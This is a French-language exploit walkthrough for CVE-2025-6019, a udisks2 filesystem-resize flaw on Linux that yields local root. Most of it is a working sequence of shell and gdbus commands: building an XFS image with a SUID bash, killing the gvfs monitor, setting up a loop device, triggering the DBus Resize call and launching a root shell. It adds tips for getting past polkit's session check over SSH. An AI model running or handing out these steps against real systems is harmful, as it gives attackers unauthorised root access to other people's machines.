CVE-2025-6019 : Exploitation d'élévation de privilèges via le redimensionnement de système de fichiers UDisks2

Détails de la vulnérabilité

• ID CVE : CVE-2025-6019
• Impact : Élévation de privilèges locale (LPE)
• Systèmes affectés : Systèmes Linux avec des versions vulnérables de udisks2
• Mécanisme : Une condition de concurrence lors du redimensionnement du système de fichiers permet l'accès aux binaires SUID dans des répertoires temporaires inscriptibles par tous.
• Composants clés :
  • Service udisks2 (interface DBus)
  • Méthode org.freedesktop.UDisks2.Filesystem.Resize
  • Points de montage temporaires sous /tmp/blockdev*

Déroulement de l'exploit

1. Préparer une image de système de fichiers malveillante (attaquant)

dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash  # Définir le bit SUID
umount ./xfs.mount 

2. Déclencher l'exploit (machine victime)

# Vérifier les capacités du système
gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot

# Supprimer les interférences
killall -KILL gvfs-udisks2-volume-monitor

# Configurer le périphérique loop
udisksctl loop-setup --file ./xfs.image --no-user-interaction

# Observateur en arrière-plan (s'exécute lorsque le binaire SUID apparaît)
while true; do 
  /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &

# Déclencher la vulnérabilité via DBus
gdbus call --system --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

3. Obtenir un accès root

/tmp/blockdev*/bash -p  # Lancer un shell privilégié
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)

Important !

L'exploit ne fonctionne que dans une session logind !

• Le script doit être exécuté depuis une session logind avec Active=yes et Remote=no (ex: tty1).
• Lorsqu'il est démarré depuis une session SSH, pts/*, ou reverse-shell, l'appel udisksctl loop-setup --no-user-interaction est refusé par polkit, donc la preuve de concept échoue avec « Failed to create loop device ».

Remarque :

• Si vous souhaitez utiliser l'exploit via SSH, vous devez déposer une règle polkit temporaire

Comment utiliser l'exploit

Créer une image suid

$ sudo bash exploit.sh create 

Exploiter le système

$ bash exploit.sh exploit 

Vidéo de preuve de concept